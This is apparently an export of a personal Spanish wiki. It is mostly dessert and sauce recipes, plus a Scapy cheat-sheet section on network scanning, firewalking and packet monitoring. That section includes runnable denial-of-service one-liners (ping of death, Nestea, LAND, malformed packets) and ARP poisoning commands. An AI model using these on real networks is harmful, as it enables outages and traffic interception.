* Una pizca de pimienta de Jamaica, o de 5 bayas, o nada, como prefieras. (La pimienta suave marida muy bien con el chocolate)
* 45 gr de chocolate con leche
* 45 gr de chocolate con naranja y almendra
* 30 gr de chocolate negro (mínimo 70 % de cacao)
* Chocolate blanco para decorar c.s. (Optativo)
</part>

! Elaboración
<part elaboración>
Prepara la mantequilla con antelación para que se haya reblandecido cuando la necesites.
Engrasa los moldes con mantequilla (no con la que tienes en pomada, con otra)
En la anterior versión le puse un poco de harina a la mantequilla del molde, pero como al desmoldar quedan adheridos restos de ella en el pastel, he preferido no poner. Hay que tener mas cuidado al sacar el coulant del molde, para que no se rompa, pero se desmoldan perfectamente y no quedan las marcas de la harina
Funde el chocolate, preferiblemente a baño María, o en el microondas. Personalmente me gusta mas el baño maria para fundir el chocolate. No hace falta fundirlos por separado pero en este caso, puesto que había varios tipos de chocolates con distintas proporciones de cacao, puse primero el de mayor proporción (70 %) e incorporé los otros por orden, de mayor a menor y los mezclé.
El blanco, al ser para decorar, se hace en el momento de servir.
          
Reserva la mezcla de chocolates

En un bol, añade la mantequilla en pomada y el azúcar en polvo. Bátelo bien con una batidora de varillas, hasta que haya montado.
A continuación añade los huevos  y continúa montando a velocidad alta. La mezcla puede llegar a cortarse, pero aunque ocurra eso, hay que seguir batiendo hasta que se monte algo.(con la harina se corregirá)
Añade la harina, el cacao, la sal y las especias (canela y pimienta).
Ya he comentado en otras ocasiones que la pimienta es, contra lo que pueda parecer un buen complemento para el chocolate. Le da un toque sutil, siempre que no te pases con ella. Como es muy difícil de medir la cantidad a añadir,  para estas proporciones de chocolate he puesto lo que sale en tres giros de molinillo. Siempre es preferible utilizar pimienta recién molida, su aroma es mucho mayor y ahora con los botes que llevan el molinillo incorporado es muy sencillo.
Continúa batiendo.  Añade la mezcla de  chocolate fundido e intégralo en la masa con delicadeza. Utiliza una espátula y hazlo con movimientos envolventes hasta que se haya mezclado bien.
Cuando tengas una mezcla homogénea, repártela entre los moldes individuales, tápalos con film de cocina y mételos al congelador. Mínimo dos horas y preferible de un día para otro. Yo elegí la segunda opción.

Unos 15 minutos antes de meter los moldes, precalienta el horno a 225 ºC
Mete los moldes en la zona media/baja y controla el tiempo. En la anterior ocasión que los hice el tiempo de horno fue de unos 17 o 18 minutos.
Personalmente prefiero quedarme corto de horno aunque al desmoldarlos corres el riesgo de que no mantenga la forma del molde y el chocolate se derrame por el plato, pero el efecto contrario, si te pasas de tiempo de horno, el chocolate se va transformando en un bizcocho y al abrirlo, no queda líquido en su interior. No está malo, pero no es lo que buscamos
En esta ocasión hice la prueba con uno y lo mantuve durante 15 minutos. Por esos extraños misterios de la física, fueron demasiados y coció en exceso. Apenas tenía chocolate líquido en su interior.
Para el servicio definitivo, el tiempo elegido fueron 11 minutos y quedaron bien. El único defecto fue que no mantuvieron la forma. Les hubiese venido bien uno o dos minutos más.

Mientras se terminan de hacer, funde el chocolate blanco, si lo vas a a utilizar para decorar.
Una vez fundido, puedes utilizar un cucurucho hecho  con papel de horno

Transcurrido el tiempo, sácalos del horno y déjalos enfriar un poco.
Separa con cuidado, con un cuchillo, el bizcocho de la pared del molde y dale la vuelta en un plato.
La parte que ha estado en el horno sin tapar, quedará como base. Han de quedar unas paredes de bizcocho poco consistentes y de poco espesor, pero lo suficiente como para contener el chocolate líquido en su interior.
</part>

! Presentación
<part presentación>

</part>

! Notas y advertencias
<part notas>
Extraido de: http://chinaskiccc.blogspot.com/2010/08/coulant-de-3-1-chocolates.html
</part>
! Ingredientes
<part ingredientes>
* 5 o 6 huevos (294 gramos)
* 150 gramos de azúcar glass
* 200 gramos de mantequilla
* 110 gramos de harina floja
* 220 gramos de chocolate negro (también se puede hacer con chocolate con leche)
* 5 gramos de cacao en polvo
* 3 gramos de canela o cardamomo (opcional)
* 1,5 gramos de sal
</part>

! Elaboración
<part elaboración>
Mezcla la mantequilla pomada con el azúcar hasta que blanquee, añade los huevos y sigue batiendo. Agrega entonces la harina y la especia elegida, bate hasta que ligue e incorpora entonces el chocolate fundido, el cacao en polvo y la sal.

Mezcla bien todos los ingredientes y a continuación reparte la masa en los moldes, puedes utilizar moldes de flan o ramequines previamente untados con mantequilla, a no ser que sean de silicona, después introduce los moldes en el congelador. Puedes hacer más cantidad y conservar los coulants de chocolate varias semanas en el congelador. Cuando te apetezca disfrutar de uno de los mejores postres, lo tendrás listo en unos minutos.

Para cocer el coulant no es necesario descongelarlo, precalienta el horno a 180º C y cuando haya tomado la temperatura, introduce los moldes durante 16 minutos contados, así lograrás que se cueza la parte exterior mientras que al interior sólo le dará tiempo a descongelarse y calentarse, obteniendo esa deliciosa crema de chocolate caliente junto al bizcocho.

En casos de querer prepararlo al instante, el tiempo de cocción deberá reducirse a unos 6-7 minutos, el resultado será el mismo siempre que lo hagas en el horno convencional.
</part>

! Presentación
<part presentación>
Retira el coulant de chocolate del molde y sírvelo enseguida, este postre se toma caliente. Puedes espolvorear un poco de cacao en polvo o azúcar glass. También puedes acompañar con una bola de helado ahora que apetece algo fresco. Seguro que de cualquier modo lo disfrutas.
</part>

! Notas y advertencias
<part notas>
Receta extraida de:
http://www.gastronomiaycia.com/2008/07/04/receta-de-coulant-de-chocolate/

Vídeo de preparación:
http://www.verycocinar.com/receta/el_coulant_de_chocolate_de_aina
</part>
! Ingredientes
<part ingredientes>
Para 4 ó 6 unidades:
* 200 gramos de turrón de Jijona
* 4 huevos (220 gramos)
* 100 gramos de azúcar
* 75 gramos de harina tostada
* mantequilla
* una pizca de harina para los moldes
</part>

! Elaboración
<part elaboración>
La elaboración de este Coulant de turrón es muy sencilla, empezamos tostando la harina como hacemos con los polvorones, pudiendo utilizar para ello el horno a baja temperatura o una cazuela, donde deberemos ir moviendo la harina para que se tueste por igual. Dejamos enfriar.

Mezclamos en un cuenco (o en Thermomix) todos los ingredientes, el turrón troceado, los huevos, el azúcar y la harina, trituramos hasta obtener una masa cremosa. Untamos los moldes con mantequilla y espolvoreamos un poco de harina, después sacudimos los moldes para desechar la harina que no se haya quedado adherida.

Tapamos los moldes con papel de aluminio y los metemos en el congelador. Cuando estén congelados, estarán listos para hornear y servir.
</part>

! Presentación
<part presentación>
El Coulant es un postre que se sirve caliente, recién hecho, así que convendrá introducirlo en el horno unos minutos antes de servirlo, cuando se esté degustando el último plato del menú. En horno precalentado a 180º C, se introducen los coulants sin descongelar y se dejan cocer 16-18 minutos.

Sirve el Coulant de turrón recién hecho, desmoldándolo sobre un plato de postre, espolvorea un poco de azúcar glas y listo, es un dulce muy energético aunque si lo deseas puedes decorar el plato con algo más, siempre que sea comestible. ¡Buen provecho!
</part>

! Notas y advertencias
<part notas>
Extraída de la siguiente dirección:
http://www.gastronomiaycia.com/2009/12/29/coulant-de-turron/
</part>
! Ingredientes
<part ingredientes>
Para las galletas
* 1 taza de mantequilla
* 1 1/2 tazas de azúcar glass
* 1 huevo
* 1 cucharadita de vainilla
* 1/2 cucharadita de extracto de almendra
* 2 1/2 tazas de harina
* 1 cucharadita de bicarbonato
* 1 cucharadita de cremor tártaro
* Azúcar granulado

Para el glasé real
* 1 taza de azúcar glass
* 2 cucharaditas de leche
* 2 cucharaditas de sirope de maíz
* 1/4 cucharadita de extracto de almendra
* Colorante alimenticio
</part>

! Elaboración
<part elaboración>
Mezcla el azúcar y la mantequilla. Añade el huevo, el extracto de vainilla y el extracto de almendra. Mezclar bien. Añade la harina, el bicarbonato y el cremor tártaro. Cubrir y enfriar durante 2 o 3 horas. Precalentar el horno a 190ºC. Divide la mezcla en dos. Amasar cada parte en una superficie cubierta de harina, hasta un grosor de medio centímetro aproximadamente. Cortar en rectángulos de 5×6.35cm. Engrasar ligeramente la bandeja del horno. Hornear las galletas durante 7 u 8 minutos, o hasta que adquieran un tono dorado.

En un bol pequeño, mezcla el azúcar glass y la leche. Añade el sirope de maíz y el extracto de almendra, y remueve. Si el glasé está demasiado espeso, añade más sirope. Pinta las galletas con el glasé, y déjalas secar. Divide el glasé en varios recipientes y añade el colorante alimenticio apropiado a cada mezcla, con mayor o menor cantidad dependiendo de la intensidad deseada. Una vez secas, pinta las galletas con el glasé del color adecuado. Utiliza un lápiz para decorar para escribir el texto correspondiente.
</part>

! Presentación
<part presentación>

</part>

! Notas y advertencias
<part notas>
Extraido de http://mundogeek.net/archivos/2011/02/01/galletas-pantone/
</part>
! Ingredientes
<part ingredientes>
* 500gr de harina
* 350gr de mantequilla
* 180gr de azúcar
* 1 yema de huevo
* 1 ramita de vainilla (o en su lugar, 1 sobre de azúcar de vainilla)
* 1 molde de Tux (o un poco de habilidad con el cuchillo)
* Agua
* Azúcar glas
* Colorante alimenticio
</part>

! Elaboración
<part elaboración>
Mezcla los ingredientes hasta conseguir una masa uniforme. Extiende la masa con un rodillo, corta las galletas en forma de Tux, y mételas en el horno a 180°C durante 10 minutos, aproximadamente. Las galletas estarán listas cuando adquieran un tono marrón dorado.

Cuando las galletas se hayan enfriado, puedes proceder a añadir la piel. Mezcla el azúcar glas con un poco de agua, y añade el colorante adecuado para cada parte del cuerpo para darle el último toque al Tux.
</part>

! Presentación
<part presentación>

</part>

! Notas y advertencias
Extraido de: http://mundogeek.net/archivos/2011/01/07/galletas-tux/
<part notas>

</part>
!Ingredientes
<part ingredientes>
Para 4 personas
* 4 pechugas de pollo
* 4 lonchas de queso para fundir (tranchetes o similar)
* 4 lonchas de jamon de york (también pueden sustituirse por panceta ahumada)
* 2 huevos
* Pan rallado
</part>

!Elaboración
<part elaboración>
# Se salpimientan las pechugas al gusto
# Se abren como si fuera un libre y se rellena cada una con una loncha de queso y otra de jamón de york
# Se cierran con cuidado de que quede bien en el interior los anteriores ingredientes
# Se pasan por huevo y por pan rallado para empanarlas (re recomienda echar perejil picado y/o ajo al huevo)
# Se fríen durante unos minutos
</part>

!Notas y advertencias
<part notas>
Si las pechugas parece que se abren antes de echarlas al aceite hirviendo, pueden cerrarse con la ayuda de un palillo de madera a modo de alfiler.
</part>
! Ingredientes
<part ingredientes>
* 800 gramos de cebolla
* 100 gramos de azúcar moreno
* 100 gramos de Pedro Ximenez (o un vino Moscatel o Jerez dulce)
* 50 gramos de aceite de oliva
* 10 gramos de mantequilla
* Una pizca de sal
</part>

! Elaboración
<part elaboración>
Con thermomix:
# Pela las cebollas y trocéalas a cuartos, introdúcelas en el vaso de la Thermomix y pica a velocidad 5 durante dos segundos.
# Agrega la mantequilla, el aceite de oliva, el azúcar moreno y el Pedro Ximénez.
# Programa entonces temperatura Varoma durante 30 minutos a velocidad cuchara. Pasado este tiempo comprueba la textura de la mermelada de cebolla, si quieres que quede más espesa déjala unos minutos más, aunque una vez que se enfríe ya quedará algo más espesa.

Tradicional:
# Pela las cebollas y córtalas en pluma
# Dispón la mantequilla y el aceite en una sartén o cazuela amplia a fuego lento y pocha las cebollas añadiendo una pizca de sal
# Ve moviendo con una espátula de vez en cuando.
# Cuando la cebolla empiece a estar tierna incorpora el Pedro Ximénez y el azúcar moreno, mezcla bien y deja cocer hasta que reduzca y tome consistencia de mermelada.
# Después deja enfriar e introduce en tarros de cristal.
</part>

! Presentación
<part presentación>
La mermelada de cebolla es un acompañamiento delicioso para multitud de aperitivos y también para acompañar carnes como el pato o el cordero, pescados como la dorada o la lubina, y cómo no, el tradicional foie o en una sencilla tosta de queso.
</part>

! Notas y advertencias
<part notas>
Extraido de http://www.gastronomiaycia.com/2008/07/25/mermelada-de-cebolla/

Recuerda que si quieres hacer conservas de mermelada de cebolla, deberás esterilizar los tarros bien cerrados, cociéndolos al baño maría durante media hora después de que rompa a hervir.
</part>
!Ingredientes
<part ingredientes>
Para 4 personas
* Un brick de salsa de tomate
* Una cucharada de aceite de oliva
* Cebolla
* Una cucharada de curry
* Una cucharadita de pimentón dulce
* Orégano
* Media cucharadita de pimienta negra molida
* 1 cayena
</part>

!Elaboración
<part elaboración>
# Se pone a pochar la cebolla a fuego medio en el aceite.
# Cuando esté empezando a dorarse se baja un poco el fuego y se añade el tomate
# Después se añaden las especias
# Se deja a fuego bajo, pero que burbujée, unos 15 minutos
# Añadir lo que se quiera guisar con esta salsa.
</part>

!Notas y advertencias
<part notas>
Se recomienda utilizar para guisar carne. Cuidado los estómagos sensibles a lo picante.
</part>
!Ingredientes
<part ingredientes>
* Tomate frito
* Una lata de pimiento rojo
* Cebolla
* Ajo
* Una cucharada de aceite de oliva
</part>

!Elaboración
<part elaboración>
# Se pican el ajo y la cebolla
# Se echan al fuego y se pocha
# Se añade la salsa de tomate y posteriormente el pimiento
# Se guisa a fuego medio durante 3 minutos
# Se añade lo que se quiera guisar con la salsa
</part>

!Notas y advertencias
<part notas>
Se puede añadir pimienta para hacer la salsa más sabrosa.
</part>
! Descripción
<part descripcion>
Recetas de cocina
</part>
! Enlaces
<part enlaces>
!! Recetarios
* Recetario de Karlos Arguiñano: http://www.hogarutil.com/Cocina/Buscador
* Recetas italianas en español: http://recetasitalianasenespanol.blogspot.com/
* Gastronomia y Cía: http://www.gastronomiaycia.com/
* Videos de cocina: http://www.verycocinar.com/

!! Recetas pendientes
[[Pendientes de probar|RecetasPendientes]]
</part>
/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_clase_recetas with: {{tiddler.title}}>>
<<autoRefresh>>
!Descripción
<part descripcion>
Todo tipo de acompañamientos, guarniciones e ingredientes que requieran elaboración previa
</part>
!Enlaces
<part enlaces>
* ''Recetarios:''
** Páginas web con recetas de este tipo (opcional)
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_clase_recetas with: {{tiddler.title}}>>
<<autoRefresh>>
!Descripción
<part descripcion>
Recetas de bizcochos, brownies, coulants y similares
</part>
!Enlaces
<part enlaces>
* ''Recetarios:''
** Bizcochos en Gastronomía y Cia: http://www.gastronomiaycia.com/tag/bizcocho/
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_clase_recetas with: {{tiddler.title}}>>
<<autoRefresh>>
!Descripción
<part descripcion>
Recetas con la carne como ingrediente principal
</part>
!Enlaces
<part enlaces>
* ''General:''
** Artículo de la Wikipedia: http://es.wikipedia.org/wiki
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_clase_recetas with: {{tiddler.title}}>>
<<autoRefresh>>
!Descripción
<part descripcion>
Recetas de todo tipo de galletas
</part>
!Enlaces
<part enlaces>
* ''Recetarios:''
** Páginas web con recetas de este tipo (opcional)
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_clase_recetas with: {{tiddler.title}}>>
<<autoRefresh>>
!Descripción
<part descripcion>
Acompañamientos para múltiples recetas
</part>
!Enlaces
<part enlaces>
* ''Recetarios:''
** Páginas web con recetas de este tipo (opcional)
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_clase_recetas with: {{tiddler.title}}>>
<<autoRefresh>>
!Descripción
<part descripcion>
Recetas con el pollo como ingrediente principal. ¡Advertencia! Según Evo Morales puede volverse gay o quedarse calvo.
</part>
!Enlaces
<part enlaces>
* ''Recetarios:''
** Páginas web con recetas de este tipo (opcional)
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_clase_recetas with: {{tiddler.title}}>>
<<autoRefresh>>
!Descripción
<part descripcion>
Postres de todo tipo
</part>
!Enlaces
<part enlaces>
* ''Recetarios:''
** Requiem por un postre: http://chinaskiccc.blogspot.com/
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_clase_recetas with: {{tiddler.title}}>>
<<autoRefresh>>
!Descripción
<part descripcion>
Todo tipo de salsas para acompañar o para guisar en ellas.
</part>
!Enlaces
<part enlaces>
* ''Recetarios:''
** Recetarios
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_clase_recetas with: {{tiddler.title}}>>
<<autoRefresh>>
! Introducción
Recetas con buena pinta que aún no he podido ver en profundidad

! Referencias
* Hortalizas en tempura con salsa romesco: http://www.hogarutil.com/cocina/programas-television/karlos-arguinano-en-tu-cocina/recetas-anteriores/201309/hortalizas-tempura-salsa-romesco-21625.html
Recetas pendientes de clasificar, redactar y probar:

* http://www.comolosquesos.com/2011/02/veces-encontrar-la-respuesta-la-frase.html
* http://www.cocinandoenmiislaamarilla.com/2011/02/taquitos-de-pollo-macerados-en-salsa-de.html
* http://cocina.facilisimo.com/reportajes/ingredientes/arroz-pasta-cereal/video-recetas-de-espaguetis_873792.html
! B. Recetas

!! B.1. Escaneo de máquinas y puertos
!!! B.1.1. ACK_scan
<<tiddler [[ACK_scan/scapy]]>>
!!! B.1.2. SYN_scan
<<tiddler [[SYN_scan/scapy]]>>
!!! B.1.3. XMAS scan
Esta técnica consiste en enviar paquetes TCP con varios flags activados. Se le llama así en referencia a que con tantos flags cada paquete "brilla como un árbol de navidad".
<code python>
ans,unans = sr( IP(dst="192.168.1.1")/TCP(dport=666,flags="FPU") )
</code>
Esta técnica está prácticamente en desuso porque los paquetes que envía "cantan mucho" y son detectados como ofensivos por casi todos los sistemas de seguridad modernos.

!!! B.1.4. IP scan
Esta técnica consiste en enviar un paquete IP con un payload espurio, para comprobar los protocolos IP disponibles:
<code python>
ans,unans=sr(IP(dst="192.168.1.1",proto=(0,255))/"SCAPY",retry=2)
</code>

!!! B.1.5. ARP ping
Esta técnica manda un paquete de ARP discover a todas las MAC de la red, para que respondan con su IP:
<code python>
ans,unans=srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst="192.168.1.0/24"),timeout=2)
</code>
Los resultados se pueden ver más claramente con el siguiente comando:
<code python>
ans.summary(lambda (s,r): r.sprintf("%Ether.src% %ARP.psrc%") )
</code>
Los dos comandos juntos son equivalentes a la función {{{arping()}}}, por lo que es más recomendable usar esta función a no ser que queramos especificar ciertos valores personalizados.

!!! B.1.6. ICMP ping
Esta técnica es la que utiliza el conocido programa {{{ping}}}. Consiste en enviar paquetes ICMP y esperar la respuesta.
<code python>
ans,unans=sr(IP(dst="192.168.1.1-254")/ICMP())
</code>
Para mostrar convenientemente los host que están vivos se puede utilizar el siguiente comando:
<code python>
ans.summary(lambda (s,r): r.sprintf("%IP.src% is alive") )
</code>

!!! B.1.7. TCP ping
Si no está disponible el ping ICMP porque están filtrados este tipo de paquetes, se pueden utilizar paquetes TCP para comprobar que el host esté vivo. Esta técnica funciona muy bien para comprobar si un servidor web está activo.
<code python>
ans,unans=sr( IP(dst="192.168.1.*")/TCP(dport=80,flags="S") )
</code>
Los resultados se mostrarán correctamente con:
<code python>
ans.summary( lambda(s,r) : r.sprintf("%IP.src% is alive") )
</code>

!!! B.1.8. UDP ping
Similar a la técnica anterior, se pueden mandar paquetes UDP para comprobar si un host está vivo:
<code python>
ans,unans=sr( IP(dst="192.168.*.1-10")/UDP(dport=0) )
</code>
Y para mostrar los resultados se puede utilizar el mismo comando que con su técnica hermana:
<code python>
ans.summary( lambda(s,r) : r.sprintf("%IP.src% is alive") )
</code>

!!! B.1.9. Escaneo IKE
Este escaneo sirve para buscar concentradores VPN mediante el envío de paquetes de autenticación:
<code python>
res,unans = sr( IP(dst="192.168.1.*")/UDP()/ISAKMP(init_cookie=RandString(8), exch_type="identity prot.")/ISAKMP_payload_SA(prop=ISAKMP_payload_Proposal()) )
</code>
Los resultados se muestran con:
<code python>
res.nsummary(prn=lambda (s,r): r.src, lfilter=lambda (s,r): r.haslayer(ISAKMP) )
</code>

!!! B.1.10. Traceroute avanzado
Con Scapy se puede ir más allá del traceroute clásico basado en ICMP para, por ejemplo, entornos donde los paquetes ICMP estén filtrados. Aquí veremos algunas alternativas interesantes.

!!!! B.1.10.1. Traceroute con TCP SYN
La técnica del TCP Ping se puede utilizar para hacer un traceroute mandando paquetes con distintos TTL:
<code python>
ans,unans=sr(IP(dst="4.2.2.1",ttl=(1,10))/TCP(dport=53,flags="S"))
</code>
La información devuelta se puede visualizar con:
<code python>
ans.summary( lambda(s,r) : r.sprintf("%IP.src%\t{ICMP:%ICMP.type%}\t{TCP:%TCP.flags%}"))
</code>

!!!! B.1.10.2. Traceroute con UDP
En entornos aún más hostiles donde se filtren incluso los paquetes TCP en los routers intermedios, se puede utilizar una variación del UDP ping. Para asegurarnos de que nos devuelve un mensaje, hay que enviar un payload en el paquete UDP:
<code python>
res,unans = sr(IP(dst="target", ttl=(1,20))/UDP()/DNS(qd=DNSQR(qname="test.com"))
</code>
Los resultados se pueden mostrar con:
<code python>
res.make_table(lambda (s,r): (s.dst, s.ttl, r.src))
</code>

!!!! B.1.10.3. Traceroute DNS
Por último, una forma de hacer un traceroute mediante paquetes DNS:
<code python>
ans,unans=traceroute("4.2.2.1",l4=UDP(sport=RandShort())/DNS(qd=DNSQR(qname="thesprawl.org")))
</code>

!!! B.1.11. Firewalking
El [[Firewalking|http://www.webopedia.com/TERM/F/firewalking.html]] es una técnica para averiguar las reglas de filtrado de los firewall de la red. En [[esta página|http://articles.techrepublic.com.com/5100-10878_11-5055357.html]] se puede ver una muy buena explicación de como funciona.

!!!! B.1.11.1 Búsqueda de puertos filtrados
En redes con firewall muchas veces no sabemos si un puerto está cerrado o filtrado por un firewall. Esta es una técnica para detectar que puertos filtra un firewall intermedio.
<code python>
>>> ans, unans = sr(IP(dst="172.16.4.27", ttl=16)/TCP(dport=(1,1024)))
>>> for s,r in ans:
        if r.haslayer(ICMP) and r.payload.type == 11:
            print s.dport
</code>

!!!! B.1.11.2 Búsqueda de redes
El siguiente código sirve para averiguar a que redes está conectado un firewall multi-NIC.
<code python>
>>> ans, unans = sr(IP(dst="172.16.5/24", ttl=15)/TCP())
>>> for i in unans: print i.dst
</code>

!! B.2. Flood y DoS
!!! B.2.1. Paquetes mal formados
El siguiente paquete puede dejar fritos a algunos host:
<code python>
send(IP(dst="10.1.1.5", ihl=2, version=3)/ICMP())
</code>

!!! B.2.2. Ping de la muerte
Un ataque tan clásico como inefectivo en nuestros días. Consiste en enviar paquetes ICMP con un payload enorme. Hoy en windows simplemente los descarta:
<code python>
send( fragment(IP(dst="10.0.0.5")/ICMP()/("X"*60000)) )
</code>

!!! B.2.3. Ataque Nestea
Implementación del ataque [[nestea|http://www.physnet.uni-hamburg.de/physnet/security/vulnerability/nestea.html]], sólo en entornos linux:
<code python>
send(IP(dst=target, id=42, flags="MF")/UDP()/("X"*10))
send(IP(dst=target, id=42, frag=48)/("X"*116))
send(IP(dst=target, id=42, flags="MF")/UDP()/("X"*224))
</code>

!!! B.2.4. Ataque LAND
Implementación del ataque [[LAND|http://en.wikipedia.org/wiki/LAND]], sólo en entornos windows:
<code python>
send(IP(src=target,dst=target)/TCP(sport=135,dport=135))
</code>

!!! B.2.5. Ataque Etherleak
[[Etherleak|http://www.securiteam.com/securitynews/5BP01208UO.html]] es un ataque basado en una vulnerabilidad de ciertos drivers ethernet, que ante un paquete específico devolvían un paquete con información crítica en el padding. El ataque es tan sencillo como enviar un paquete ICMP vacío.
<code python>
r1(IP(dst="172.16.1.232")/ICMP())
</code>

!!! B.2.6. Ataque ICMP leaking
Este ataque es específico para Linux 2.0, por lo que puede considerarse obsoleto. El ataque [[ICMP leaking|http://www.securityspace.com/smysecure/catid.html?id=11704]] es muy similar al etherleak, pero esta vez el fallo está en el kernel en el stack TCP/IP en vez de en el driver del dispositivo. Ante un paquete ICMP específico, devuelve información diversa en el padding:
<code python>
sr1(IP(dst="172.16.1.1", options="\x02")/ICMP())
</code>

!! B.3. Monitorización, captura y análisis de paquetes
!!! B.3.1. Envenenamiento ARP clásico
Este ataque manda paquetes ARP mal formados que fuerzan a que un switch se comporte como un hub.
<code python>
send( Ether(dst=clientMAC)/ARP(op="who-has", psrc=gateway, pdst=client), inter=RandNum(10,40), loop=1 )
</code>

!!! B.3.2. Envenenamiento ARP en redes con VLAN
Este ataque encapsula doblemente el paquete para que llegue de una VLAN a otra:
<code python>
send( Ether(dst=clientMAC)/Dot1Q(vlan=1)/Dot1Q(vlan=2)/ARP(op="who-has", psrc=gateway, pdst=client),inter=RandNum(10,40), loop=1 )
</code>

!!! B.3.3. Captura wireless
Se puede capturar información de paquetes wireless de forma sencilla:
<code python>
sniff(iface="wlan0",prn=lambda x:x.sprintf("{Dot11Beacon:%Dot11.addr3%\t%Dot11Beacon.info%\t%PrismHeader.channel%\tDot11Beacon.cap%}"))
</code>

!!! B.3.4. Análisis de ISN (Initial Sequence Number)
Una técnica de análisis habitual es el estudio de los [[ISN|http://www.tcpipguide.com/free/t_TCPConnectionEstablishmentSequenceNumberSynchroniz.htm]] de diversas máquinas, para intentar averiguar si sistema operativo, versión de la pila TCP/IP, vulnerabilidades, y [[otros ataques|http://www.networkcomputing.com/unixworld/security/001.txt.html]]. Para ello hay que capturar un número suficiente de paquetes y calcular la información necesaria.
<code python>
>>> ans,unans=srloop(IP(dst="192.168.1.1")/TCP(dport=80,flags="S"))
>>> for s,r in ans:temp = r[TCP].seq - temp;print str(r[TCP].seq) + "\t+" + str(temp)
</code>

!! B.4. Vigilancia y honeypots
Aquí repasaremos algunos usos avanzados de Scapy como herramienta de protección y vigilancia ante ataques malintencionados.

!!! B.4.1. Monitor ARP simplista
Un peligro muy importante en redes locales es la posibilidad del envenenamiento ARP. Para poder detectarlo es conveniente monitorizar constantemente nuestra caché ARP y comprobar si algo raro le está sucediendo. El siguiente fragmento de código utiliza la herramienta {{{sniff}}}para capturar el tráfico ARP y muestra la información más relevante por pantalla. El parámetro {{{store=0}}} hace que no guarde los paquetes ARP, si no que tan solo los muestre (para no saturar la memoria). Muestra cada asociación MAC - IP que pasa por la tarjeta de red.
<code python>
def arp_monitor_callback(pkt):
    if ARP in pkt and pkt[ARP].op in (1,2): #who-has or is-at
        return pkt.sprintf("%ARP.hwsrc% %ARP.psrc%")

sniff(prn=arp_monitor_callback, filter="arp", store=0)
</code>
Su utilidad es muy limitada, pero puede servir de base para herramientas más avanzadas.

!!! B.4.2. Identificación de servidores DHCP falsos (rogue)
Otro peligro importante es la existencia de servidores [[DHCP "no oficiales"|http://en.wikipedia.org/wiki/Rogue_DHCP]] en la red. Puede deberse a un olvido (un ordenador que tiene un servidor DHCP para casa y se olvidó de desactivar) o a un acto intencionado (un atacante). Para detectarlos hay que enviar paquetes de descubrimiento de servidores DHCP y comprobar los datos que nos devuelve.
<code python>
>>> conf.checkIPaddr = False
>>> fam,hw = get_if_raw_hwaddr(conf.iface)
dhcp_discover = Ether(dst="ff:ff:ff:ff:ff:ff")/IP(src="0.0.0.0",dst="255.255.255.255")/UDP(sport=68,dport=67)/BOOTP(chaddr=hw)/DHCP(options=[("message-type","discover"),"end"])
>>> ans, unans = srp(dhcp_discover, multi=True)      # Press CTRL-C after several seconds
</code>
La información recibida puede mostrarse de la siguiente manera:
<code python>
for p in ans: print p[1][Ether].src, p[1][IP].src
</code>
Aparecerá el listado de MAC e IPs de servidores DHCP en la red.
! Introducción
Hoy en día hay muchas redes sociales pero, ¿Como de seguras son? ¿Sabemos quien puede ver nuestros datos? ¿Sabemos quien tiene acceso a sus servidores? ¿Podemos estar seguro de que nadie utiliza ni accede a nuestros datos de forma indebida?

La solución sólo puede ser una: cifrado en cliente con clave asimétrica. O lo que es lo mismo, todos los datos de los clientes se cifrarían con sus propias contraseñas, de tal manera que en el servidor se almacenarían sólo datos cifrados. La información se enviaría cifrada con la clave pública del receptor, por lo que sólo este podría acceder a nuestros datos.

Sería 100% segura.

! Características
!! Características mínimas
- Cifrado asimétrico
- Agrupación de los contactos en grupos con distintos niveles de seguridad
- Perfil público con información MUY básica sólo para localización.

!! Características adicionales deseadas
- Gestión sencilla de los pares de claves
- Descentralizado: poder operar con los contactos aunque caiga el servidor principal y poder establecer conexiones punto a punto entre clientes. Sincronizar datos de forma opcional con el servidor central.
- Cliente nativo con toda la funcionalidad y cliente web con funcionalidad limitada.
!Descripción
<part descripcion>
Información sobre redes informáticas (telemáticas).
</part>
!Enlaces
<part enlaces>
* ''General:''
** Artículos de la Wikipedia: http://es.wikipedia.org/wiki/Categor%C3%ADa:Redes_inform%C3%A1ticas
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
!Descripción
<part descripcion>
Información sobre las redes neuronales y otro sistemas de simulación del funcionamiento de neuronas o redes complejas similares.
</part>
!Enlaces
<part enlaces>
* ''General:''
** Artículo de la Wikipedia: http://es.wikipedia.org/wiki/Red_neuronal_artificial
* ''Tutoriales:''
** Tutorial sobre redes neuronales: http://www.gc.ssr.upm.es/inves/neural/ann2/anntutorial.html
** Tutorial de introducción: http://www.redes-neuronales.netfirms.com/tutorial-redes-neuronales/tutorial-redes.htm
* ''Artículos e información:''
** Información diversa y artículos en español: http://electronica.com.mx/neural/
** Introducción a las redes neuronales: http://sabia.tic.udc.es/mgestal/cv/RNAtutorial/index.html
** Artículos en inglés sobre redes neuronales: http://www.neurosecurity.com/articles.php

</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
<<showtoc>>
!Descripción
<part descripcion>
APIs de los principales lenguajes de programación, y servicios web.
</part>

! Chuletas y tablas de referencia rápida
* "The Developer Cheat Sheet Compilation": http://www.bookmarkbliss.com/programming/the-developer-cheat-sheet-compilation/
* Quick Reference Cards: http://www.digilife.be/quickreferences/quickrefs.htm
* OWASP cheatsheets: http://www.owasp.org/index.php/Category:Cheatsheets

! Lenguajes de programación

!! [[Bash]]
